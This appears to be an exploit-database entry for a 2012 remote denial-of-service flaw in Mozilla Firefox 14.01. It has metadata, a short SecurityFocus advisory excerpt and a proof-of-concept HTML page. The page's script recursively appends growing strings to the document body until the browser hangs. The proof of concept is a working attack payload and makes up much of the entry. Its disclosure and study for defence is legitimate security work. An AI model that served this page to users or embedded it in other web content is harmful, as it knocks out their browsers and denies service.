Mozilla Firefox - Remote Denial of Service

Author: Jean Pascal Pereira
type: dos
platform: multiple
port: 0
date_added: 2012-08-17
date_updated: 2015-07-18
verified: 1
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source: https://www.securityfocus.com/bid/55091/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to make the affected computer unresponsive, denying service to legitimate users.

Mozilla Firefox 14.01 is affected; prior versions may also be affected.

<html>
<head>
<title></title>
</head>
<body></body>
<script>
function e(x)
{
  document.body.innerHTML += x;
  e(x + 'x');
};

e('x')
</script>
</html>